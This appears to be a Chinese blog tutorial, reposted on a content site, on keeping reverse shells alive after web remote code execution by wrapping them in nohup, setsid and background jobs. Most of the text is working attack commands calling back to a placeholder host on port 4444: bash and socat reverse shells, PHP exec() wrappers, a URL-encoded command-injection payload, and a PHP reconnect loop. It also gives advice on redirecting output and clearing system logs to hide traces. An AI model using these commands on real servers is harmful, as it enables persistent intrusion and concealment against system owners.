用nohup setsid繞過超時斷連,穩定反彈Shell

在We滲透過程中,我們常常會利用目標系統的遠程代碼執行(RCE)漏洞進行反彈Shell。然而,由于Web服務器(如PHP、Python后端)的執行環境通常存在超時限制(如max_execution_time或進程管理策略),反彈Shell進程可能在短時間內被終止,導致會話斷連。為了解決這一問題,可以使用nohup&setsid等Linux命令來規避后端超時退出,確保會話的穩定性。本文將聚焦Web場景下的RCE,分析如何通過這些工具實現穩定的反彈Shell。


一、Web場景RCE與超時斷連問題

1.1 Web場景RCE的特點

在Web場景下,RCE通常通過高危漏洞(如命令注入、文件上傳、反序列化等)觸發,攻擊者通過Web請求在后端執行命令。例如,在PHP環境中,可能通過system()exec()等函數執行反彈Shell命令。常見的反彈Shell命令包括:

  • Bash反彈
    bash -i >& /dev/tcp/x.x.x.x/4444 0>&1
    
  • PHP反彈
    <?php
    exec("bash -i >& /dev/tcp/x.x.x.x/4444 0>&1");
    ?>
    

這些命令通過Web請求觸發,但Web服務器通常會限制腳本的執行時間(例如PHP的max_execution_time默認為30秒),或者在請求結束后終止進程,導致反彈Shell無法持久運行。

1.2 超時斷連的原因

  1. Web服務器超時設置:如PHP的max_execution_time或Nginx/Apache的請求超時配置。
  2. 進程依賴:反彈Shell進程依賴于Web請求的進程,請求結束后進程被終止。
  3. 會話管理:目標系統的會話管理策略可能主動清理非活躍進程。
  4. 網絡限制:防火墻或網絡策略可能中斷長時間未活動的連接。

為應對這些問題,我們可以讓反彈Shell進程脫離Web請求的控制,保持長期運行。


二、使用nohup&setsid規避斷連

以下分別介紹這三種工具在Web場景RCE中的應用,以及如何結合使用以實現穩定的反彈Shell。

2.1 使用nohup防止進程掛起

2.1.1 原理

nohup(no hangup)命令通過忽略掛起信號(SIGHUP),使進程在終端或父進程(如Web請求進程)退出后繼續運行。在Web場景RCE中,nohup可以讓反彈Shell進程脫離Web服務器的請求生命周期。

2.1.2 實現方法

假設攻擊者在目標Web服務器上通過RCE執行命令,可以使用以下方式:

nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &
  • nohup:確保進程忽略SIGHUP信號,不因Web請求結束而終止。
  • bash -c:執行反彈Shell命令。
  • &:將進程放入后臺運行,避免阻塞Web請求。

在PHP場景下,可以通過exec()觸發:

<?php
exec("nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>

執行后,Web請求即使因超時結束,反彈Shell進程仍會在后臺運行,保持與攻擊者監聽端口的連接。

2.1.3 注意事項
  • 輸出重定向nohup默認將輸出寫入nohup.out文件,可能暴露痕跡。建議重定向到/dev/null
    nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    
  • 權限問題:確保Web服務器用戶(如www-data)有執行nohupbash的權限。
  • 適用性nohup適用于大多數Linux系統,但部分精簡環境可能缺失。

2.2 使用&實現后臺運行

2.2.1 原理

在Linux中,&符號將命令放入后臺運行,使其不阻塞當前進程。在Web場景中,結合&可以讓反彈Shell進程獨立于Web請求,避免因請求超時而終止。

2.2.2 實現方法

直接在命令后添加&

bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &

在PHP中:

<?php
exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.2.3 注意事項
  • 局限性:單獨使用&無法完全脫離父進程,Web服務器進程退出時,反彈Shell可能仍被終止。
  • 建議&通常與nohupsetsid結合使用,以增強穩定性:
    nohup bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    

2.3 使用setsid實現進程完全獨立

2.3.1 原理

setsid命令創建一個新的會話(session),使進程成為新會話的領導者,脫離原有的控制終端和父進程(如Web服務器進程)。這在Web場景RCE中特別有效,可徹底解決因Web請求終止導致的進程退出問題。

2.3.2 實現方法

命令示例:

setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &

在PHP中:

<?php
exec("setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' &");
?>
2.3.3 注意事項
  • 輸出處理:與nohup類似,建議重定向輸出以減少痕跡:
    setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &
    
  • 環境依賴:部分精簡系統可能未安裝setsid,需確認目標環境支持。
  • 交互性:若需要更高交互性,可結合socat創建偽終端:
    setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane &
    

2.4 綜合使用nohup&setsid

為最大化反彈Shell的穩定性,建議結合三者使用:

nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &

在PHP中:

<?php
exec("nohup setsid bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");
?>
  • nohup:忽略SIGHUP信號,防止進程因Web請求結束而終止。
  • setsid:創建新會話,脫離Web服務器進程的控制。
  • &:確保進程后臺運行。
  • >/dev/null 2>&1:重定向輸出,減少痕跡。

三、實戰場景與優化

3.1 典型Web場景應用

假設目標是一個運行PHP的Web服務器,存在命令注入漏洞,攻擊者通過以下URL觸發RCE:

http://target.com/vuln.php?cmd=[command]

攻擊者可以在cmd參數中傳入以下命令:

nohup%20setsid%20bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/x.x.x.x/4444%200%3E%261'%20%3E/dev/null%202%3E%261%20%26
  • URL編碼確保命令正確傳遞。
  • 攻擊者在本地監聽端口(如nc -lvnp 4444),即可接收反彈Shell。

3.2 優化建議

  1. 減少痕跡

    • 始終重定向輸出到/dev/null,避免生成nohup.out等文件。
    • 檢查目標系統日志(如/var/log),清理可能的執行記錄。
  2. 提高交互性

    • 如果目標支持socat,優先使用帶偽終端的反彈Shell:
      nohup setsid socat tcp-connect:x.x.x.x:4444 exec:'bash -li',pty,stderr,setsid,sigint,sane >/dev/null 2>&1 &
      
  3. 應對網絡中斷

    • 在目標系統支持的情況下,添加簡單的重連腳本。例如,使用PHP編寫:
      <?php
      while (true) {exec("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1' >/dev/null 2>&1 &");sleep(5);
      }
      ?>
      
    • 此腳本每5秒嘗試重連,適合網絡不穩定場景。
  4. 權限檢查

    • 確認Web服務器用戶(如www-data)是否有執行nohupsetsid等命令的權限。
    • 如果權限受限,可嘗試其他方法(如Python腳本)。

四、優缺點總結

工具/方法優點缺點
nohup簡單易用,內置于大多數Linux系統,防止SIGHUP終止輸出默認寫入nohup.out,需手動重定向
&簡單,直接實現后臺運行無法完全脫離父進程,穩定性較低
setsid創建新會話,完全獨立于父進程部分系統可能未安裝,需確認環境
綜合使用結合三者,穩定性最高命令較復雜,需確保環境支持

五、結論

在Web場景RCE中,反彈Shell的超時斷連問題可以通過nohup&setsid有效規避。nohup防止進程因SIGHUP終止,&實現后臺運行,setsid使進程完全獨立于Web請求進程。綜合使用這三者,并結合輸出重定向和偽終端支持(如socat),可以顯著提高反彈Shell的穩定性。在實戰中,攻擊者需根據目標環境靈活選擇方案,并注意減少痕跡、提高隱蔽性。

通過上述方法,滲透測試人員能夠在Web場景下實現持久、穩定的反彈Shell,為后續內網滲透、權限維持等操作奠定基礎。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/93909.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/93909.shtml
英文地址,請注明出處:http://en.pswp.cn/web/93909.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java設計模式-模板方法模式

Java設計模式-模板方法模式 模式概述 模板方法模式簡介 核心思想&#xff1a;定義一個操作中的算法骨架&#xff08;模板方法&#xff09;&#xff0c;將算法中某些步驟的具體實現延遲到子類中完成。子類可以在不改變算法整體結構的前提下&#xff0c;重定義這些步驟的行為&…

Centos7物理安裝 Redis8.2.0

Centos7物理安裝 Redis8.2.0一、準備依賴環境首先安裝編譯 Redis 所需的依賴&#xff1a;# CentOS/RHEL系統 yum install -y gcc gcc-c make wget 二、下載并編譯 Redis 8.2.0# 1. 下載Redis 8.2.0源碼包 wget https://download.redis.io/releases/redis-8.2.0.tar.gz# 2. 解壓…

牛津大學xDeepMind 自然語言處理(3)

條件語言模型無條件語言模型 概率計算&#xff1a;通過鏈式法則分解為預測下一詞概率&#xff08;將語言建模問題簡化為建模給定前面詞語歷史的下一個詞的概率&#xff09;基于循環神經網絡的無條件語言模型&#xff1a;根據歷史詞語預測下一個詞的概率條件語言模型 定義&#…

Vue2.x核心技術與實戰(一)

目錄 一、Vue2.x:快速上手+插值表達式+指令上 1.1 Vue快速上手 1.1.1 Vue概念 1.1.2 創建實例 1.1.3 插值表達式 { { }} 1.1.4 響應式特性 1.1.5 開發者工具 1.2 Vue指令 1.2.1 v-html 1.2.3 v-show / v-if v-show v-if 1.2.4 v-else / v-else-if 1.2.5 v-on v…

SCAU學習筆記 - 自科三面前端方向實戰演示

本來是準備寫完二面直接開始寫算法三面的&#xff0c;maimai那個封面圖我都做好了。但是可惡的出題人說要等我出完解析再針對性避開出題&#xff0c;所以swan決定把那個先擱置&#xff0c;本文我們先以2023年的自科三面前端方向題為例帶各位快速入門前端三件套&#xff08;因為…

前后端聯合實現文件上傳,實現 SQL Server image 類型文件上傳

1、前端 Vue3QualityFileInfoDialog.vue<script setup lang"ts" name"QualityFile"> ...... // 上傳&#xff0c;防抖 const onUploadClick debounce(() > {// 模擬點擊元素if (fileInputRef.value) {// 重置以允許重復選擇相同文件fileInputRef…

使用安卓平板,通過USB數據線(而不是Wi-Fi)來控制電腦(版本1)

這是一個對延遲和穩定性要求很高的場景。 核心原理是&#xff1a;利用USB數據線&#xff0c;在手機和電腦之間創建一個高速的“虛擬網絡連接”&#xff0c;然后在這個穩定的網絡通道上運行遠程控制軟件。 方案1&#xff1a; 在完全沒有無線網絡&#xff08;Wi-Fi&#xff09;和…

linux報permission denied問題

linux報permission denied問題 一般是沒有可執行權限&#xff0c;需要先添加執行權限 1. 確認文件權限 在你的項目目錄下執行&#xff1a; ls -l ./folder你可能會看到類似&#xff1a; -rw-r--r-- 1 user user 1234 Aug 18 12:00 script.sh注意&#xff1a;這里缺少 x&#xf…

Vue深入組件:組件事件詳解2

聲明觸發的事件 為了讓組件的用法更清晰(作為文檔),同時讓 Vue 能區分事件與透傳 attribute,推薦顯式聲明組件要觸發的事件。根據組件是否使用 <script setup>,聲明方式有所不同。 使用 <script setup> 時:defineEmits() 宏 在 <script setup> 中,…

FLASK項目快速構建

Flask 項目構建 exts.py # flask_sqlalchemy from flask_sqlalchemy import SQLAlchemy from flask_mail import Mail from flask_caching import Cache from flask_wtf import CSRFProtect from flask_avatars import Avatars from flask_jwt_extended import JWTManager from…

數據結構--2:ArrayList與順序表

1.順序表的創建 2.常見操作 3.遍歷 4.擴容機制 5.例子1.順序表的創建在集合框架中&#xff0c;ArrayList是?個普通的類&#xff0c;實現了List接口&#xff0c;具體框架圖如下&#xff1a;2.常見操作代碼…

【Kubesphere】K8s容器無法訪問內網xx網絡問題

問題遇到的現象和發生背景 Kubesphere中運行的一個容器&#xff0c;可以ping通我們公司內網網段172.16.XX.XX&#xff0c;但是在容器內無法ping通192.168.5.XX&#xff0c;但是我在宿主機是可以ping通192.168.5.XX&#xff0c;這個192.168.5.XX是通過xx設備接進來的&#xff0c…

【開發語言】Groovy語言:Java生態中的動態力量

博客目錄一、Groovy 的誕生與發展二、核心特性深度解析1. 與 Java 的無縫集成2. 動態類型與可選靜態類型3. 強大的集合操作三、Groovy 在實際開發中的應用場景1. 構建自動化&#xff08;Gradle&#xff09;2. 測試開發&#xff08;Spock 框架&#xff09;3. 腳本任務自動化四、…

Obsidian 1.9.10升級

概述 Obsidian發布了更新版本1.9.10&#xff0c;是一次比較大的升級&#xff0c;尤其是增加了一些以前沒有的核心插件&#xff0c;尤其是重磅的數據庫功能。雖然可能還是比較初期&#xff0c;但是這意味著OB還是往更好的方向進化了。 本文以一些目前的視頻教程加自己的實際上手…

內容審計技術

一、 內容審計需求背景1.網絡安全法要求明確責任人&#xff1a;制定內部安全管理制度和操作規程&#xff0c;落實安全保護責任。監測、記錄并保留日志&#xff1a;采取監測、記錄網絡運行狀態、網絡安全事件的技術措施&#xff0c;并按照規定留存相關網絡日志不少于六個月。采取…

反序列化漏洞

php反序列化 1.什么是序列化和反序列化 office word是程序 doc/docx是數據 保存word文件&#xff1a;程序--保存(序列化)-->數據文件 打開word文件&#xff1a;程序--加載數據文件-->還原(反序列化) 游戲存檔&#xff1a;角色等級&#xff0c;任務&#xff0c;人物坐…

Lecture 4 Mixture of experts課程筆記

什么是MoE?用&#xff08;多個&#xff09;大型前饋網絡和一個選擇器層取代大型前饋網絡。你可以在不影響浮點運算次數的情況下增加專家數量。 MoE受歡迎的原因 相同的浮點運算次數&#xff0c;更多的參數表現更好訓練混合專家模型&#xff08;MoEs&#xff09;速度更快訓練混…

微服務架構的演進:從 Spring Cloud Netflix 到云原生新生態

過去十年,Spring Cloud 憑借 Netflix 全家桶(Eureka、Ribbon、Hystrix、Zuul 等)幾乎成為 Java 微服務的事實標準。但隨著這些核心組件逐步停止更新或進入維護模式,微服務架構正經歷一場深刻的演進。新的微服務架構更加注重 云原生兼容性、社區活躍度、企業級穩定性和低運維…

網絡流量分析——基礎知識

文章目錄所需技能和知識TCP/IP 堆棧和 OSI 模型基本網絡概念常用端口和協議IP 數據包和子層的概念協議傳輸封裝環境與設備常見的流量分析工具BPF 語法執行網絡流量分析NTA工作流程NTA工作流程網絡 - 第 1-4 層OSI / TCP-IP 模型尋址機制MAC地址IP 尋址IPv4IPv6IPv6 尋址類型IPv…

ansible playbook 實戰案例roles | 實現基于 IHS 的 AWStats 訪問監控系統

文章目錄一、核心功能描述二、roles內容2.1 文件結構2.2 主配置文件2.3 tasks文件內容三、files文件內容四、關鍵價值免費個人運維知識庫&#xff0c;歡迎您的訂閱&#xff1a;literator_ray.flowus.cn 一、核心功能描述 這個 Ansible Role 的核心功能是&#xff1a;?實現 ?…